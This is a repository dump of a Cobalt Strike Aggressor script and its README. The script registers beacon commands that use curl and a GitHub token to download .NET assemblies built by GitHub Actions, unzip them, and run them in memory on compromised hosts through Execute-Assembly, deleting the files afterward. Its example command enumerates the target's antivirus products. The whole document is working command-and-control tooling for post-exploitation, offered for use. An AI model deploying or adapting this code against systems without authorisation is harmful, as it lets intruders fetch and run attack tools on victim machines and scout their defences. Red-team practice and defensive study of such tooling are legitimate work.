├── Execute-GitHubAssembly.cna └── README.md /Execute-GitHubAssembly.cna: -------------------------------------------------------------------------------- 1 | # _____ _ ____ _ _ _ _ _ _ _ _ 2 | # | ____|_ _____ ___ _ _| |_ ___ / ___(_) |_| | | |_ _| |__ / \ ___ ___ ___ _ __ ___ | |__ | |_ _ 3 | # | _| \ \/ / _ \/ __| | | | __/ _ \_____| | _| | __| |_| | | | | '_ \ / _ \ / __/ __|/ _ \ '_ ` _ \| '_ \| | | | | 4 | # | |___ > < __/ (__| |_| | || __/_____| |_| | | |_| _ | |_| | |_) / ___ \\__ \__ \ __/ | | | | | |_) | | |_| | 5 | # |_____/_/\_\___|\___|\__,_|\__\___| \____|_|\__|_| |_|\__,_|_.__/_/ \_\___/___/\___|_| |_| |_|_.__/|_|\__, | 6 | # |___/ 7 | #author @two06 8 | # 9 | #Fetch artifacts from GitHub Actions and execute them with Execute-Assembly. 10 | #List-GitHubAssembly - retrieve a list of avaialble artifacts from the configured GitHub repo 11 | #Execute-GitHubAssembly - download and execute the selected artifact 12 | # -> Execute-GitHubAssembly SharpWPI action=query query="SELECT * FROM AntiVirusProduct" namespace="root\SecurityCenter2" 13 | # 14 | 15 | #CHANGE THESE VALUES 16 | #user/repo - no leading or training slash 17 | $repo_url = ""; 18 | #username for repo 19 | $username = ""; 20 | #access token - repo scope 21 | $access_token = ""; 22 | #Download directory - the place to store the downloaded artifacts 23 | $download_directory = "/tmp/"; 24 | 25 | #Nothing to change below this line 26 | #------------------------------------------------------------------- 27 | $api_url = "https://api.github.com/repos/"; 28 | $artifacts_url = "/actions/artifacts"; 29 | %artifactsDetails["artifact"] = @(); 30 | 31 | #Execute-GitHubAssembly command register 32 | beacon_command_register( 33 | "Execute-GitHubAssembly", 34 | "Fetch a .NET assembly from GitHub actions and execute using Execute-Assembly"); 35 | 36 | beacon_command_register( 37 | "List-GitHubAssembly", 38 | "List the assemblies available in the configured GitHub repo. Assemblies can be executed using Execute-GitHubAssembly"); 39 | 40 | #Execute-GitHubAssembly alias 41 | alias Execute-GitHubAssembly { 42 | $args = replace($0, "Execute-GitHubAssembly ", ""); 43 | $args = replace($args, "$2", ""); 44 | $args = matches($args, '\s*(.*)\s*')[0]; # Trim whitespaces 45 | println($args); 46 | btask($1, "Tasked beacon to run $2 using Execute-Assembly from $repo_url"); 47 | load_artifact_details(); 48 | $result = check_artifact_name($name => $2); 49 | if($result){ 50 | blog($1, "Found artifact") 51 | blog($1, "Downloading to " . $download_directory) 52 | $o = download_artifact($name => $2); 53 | blog($1, "Downloaded artifact to " . $o) 54 | unzip_file($path => $o); 55 | sleep(200); 56 | $exePath = replace($o, '\.zip', '.exe'); 57 | blog($1, "Calling Execute-Assembly with unpacked artifact " . $exePath) 58 | blog($1, "Files will be cleaned up once execution completes") 59 | bexecute_assembly($1, $exePath, $args) 60 | 61 | deleteFile($o); 62 | deleteFile($exePath); 63 | } 64 | else{ 65 | berror($1, "Artifact not found: " . $2); 66 | } 67 | } 68 | 69 | alias List-GitHubAssembly{ 70 | blog($1, "Fetching available assembly names...") 71 | load_artifact_details(); 72 | $names = get_artifact_names(); 73 | foreach $name ($names){ 74 | blog($1, " " .$name); 75 | } 76 | } 77 | 78 | #get the artifact zip from GitHub - pass the artifact name in as $name 79 | sub download_artifact{ 80 | #first, we need to get the artifact details 81 | $DownloadUrl = ""; 82 | foreach $artifact (%artifactsDetails["artifact"]){ 83 | if ($artifact["name"] eq $name){ 84 | $DownloadUrl = $artifact["archive_download_url"]; 85 | break; 86 | } 87 | } 88 | $out = $download_directory . $name .".zip"; 89 | make_API_download_request($endpoint => $DownloadUrl, $output => $out); 90 | return $out; 91 | } 92 | 93 | sub jsonValueExtract { 94 | local('$temp'); 95 | $temp = replace($1,',',''); 96 | $temp = replace($temp,'"',''); 97 | if (charAt($temp, -1) eq ' '){ 98 | $temp = substr($temp, 0, int(strlen($temp)) - 1 ); 99 | } 100 | return $temp; 101 | } 102 | 103 | #Get the artifact details from GitHub 104 | sub load_artifact_details{ 105 | %artifactsDetails["artifact"] = @(); 106 | local('$temp_id $temp_node_id $temp_name $temp_size_in_bytes $temp_url $temp_archive_download_url $temp_expired $temp_created_at $temp_updated_at'); 107 | @artifacts = make_API_request($endpoint => $artifacts_url); 108 | #@artifacts contains ALL the artifacts, including old builds. we want the most recent builds only. 109 | #luckily, the API returns them in date order, so we can just take the first unique artifact names. 110 | 111 | #track which names we have already added using a stack 112 | @stack = @(); 113 | foreach $key => $value (@artifacts){ 114 | if('"id"' isin $value){ 115 | $temp_id = split(': ', $value)[1]; 116 | $temp_id = jsonValueExtract($temp_id); 117 | } 118 | if('"node_id"' isin $value){ 119 | $temp_node_id = split(': ', $value)[1]; 120 | $temp_node_id = jsonValueExtract($temp_node_id); 121 | } 122 | if('"name"' isin $value){ 123 | $temp_name = split(': ', $value)[1]; 124 | $temp_name = jsonValueExtract($temp_name); 125 | } 126 | if('"size_in_bytes"' isin $value){ 127 | $temp_size_in_bytes = split(': ', $value)[1]; 128 | $temp_size_in_bytes = jsonValueExtract($temp_size_in_bytes); 129 | } 130 | if('"url"' isin $value){ 131 | $temp_url = split(': ', $value)[1]; 132 | $temp_url = jsonValueExtract($temp_url); 133 | } 134 | if('"archive_download_url"' isin $value){ 135 | $temp_archive_download_url = split(': ', $value)[1]; 136 | $temp_archive_download_url = jsonValueExtract($temp_archive_download_url); 137 | } 138 | if('"expired"' isin $value){ 139 | $temp_expired = split(': ', $value)[1]; 140 | $temp_expired = jsonValueExtract($temp_expired); 141 | } 142 | if('"created_at"' isin $value){ 143 | $temp_created_at = split(': ', $value)[1]; 144 | $temp_created_at = jsonValueExtract($temp_created_at); 145 | } 146 | if('"updated_at"' isin $value){ 147 | $temp_updated_at = split(': ', $value)[1]; 148 | $temp_updated_at = jsonValueExtract($temp_updated_at); 149 | } 150 | if(('}' isin $value) && ($temp_updated_at ne $null)){ 151 | if($temp_name in @stack){ 152 | #do nothing 153 | } 154 | else{ 155 | push(@stack, $temp_name); 156 | add(%artifactsDetails["artifact"], %(id => $temp_id, node_id => $temp_node_id, name => $temp_name, size_in_bytes => $temp_size_in_bytes, url => $temp_url, archive_download_url => $temp_archive_download_url, expired => $temp_expired, created_at => $temp_created_at, updated_at => $temp_updated_at)); 157 | } 158 | } 159 | 160 | } 161 | } 162 | 163 | #Check the artifact is available 164 | sub check_artifact_name{ 165 | $names = get_artifact_names(); 166 | if ($name isin $names){ 167 | return true; 168 | } 169 | return false; 170 | } 171 | 172 | #get the names of the artifacts we loaded 173 | sub get_artifact_names{ 174 | @stack = @(); 175 | foreach $artifact (%artifactsDetails["artifact"]){ 176 | push(@stack, $artifact["name"]); 177 | } 178 | return @stack; 179 | } 180 | 181 | 182 | #make an api request using curl - pass the relative endpoint as $endpoint 183 | sub make_API_request{ 184 | $cmd = @('curl', '-u ' . $username . ':' . $access_token, $api_url . $repo_url . $endpoint); 185 | $curl_command = exec($cmd); 186 | $data = readAll($curl_command); 187 | closef($curl_command); 188 | return $data; 189 | } 190 | 191 | #make an api request using curl, with an output flag - pass the full endpoing as $endpoint and the output path as $output 192 | sub make_API_download_request{ 193 | $cmd = @('curl', '-L', '-u ' . $username . ':' . $access_token, '-o', $output, $endpoint); 194 | exec($cmd); 195 | # Workaround to make sure full binary has been received - thanks https://github.com/SpiderLabs/SharpCompile/blob/master/SharpCompile.cna! 196 | $size = -1; 197 | $timeout = 40; 198 | while ((!-exists $output || $size < 0 || $size < $newsize) && $timeout > 0) { 199 | $size = $newsize; 200 | $newsize = lof($output); 201 | sleep(300); 202 | $timeout -= 1; 203 | } 204 | return; 205 | } 206 | 207 | #unzip a file on disk - pass the path as $path 208 | sub unzip_file{ 209 | $cmd = @('unzip', $path, '-d', $download_directory); 210 | exec($cmd); 211 | return; 212 | } 213 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # List-GitHubAssembly 2 | 3 | Fetch a list of avaialble artifacts from the configured GitHub repo. 4 | 5 | # Execute-GitHubAssembly 6 | 7 | Download the specified artifact and execute using Execute-Assembly. 8 | 9 | Depends on a Github Actions workflow which outputs .NET assemblies compatible with Execute-Assembly. 10 | 11 | ## Known Issues 12 | 13 | This code depends on downloading artifacts from GitHub to the CS team server. You may run into an issue where the assembly inslt fully downloaded, or extracted, before Execute-Assembly is called. 14 | 15 | The sleep() call on line 55 and the while loop on line 198 can be adjusted to compensatefor slower network connectins. Some experimentatino may be required. 16 | 17 | ## Credits 18 | 19 | Some code from [SharpCompile](https://github.com/SpiderLabs/SharpCompile/blob/master/SharpCompile.cna) and [Beaconpire](https://github.com/bluscreenofjeff/AggressorScripts/blob/master/Beaconpire/beaconpire.cna) was adapted for this project. 20 | 21 | --------------------------------------------------------------------------------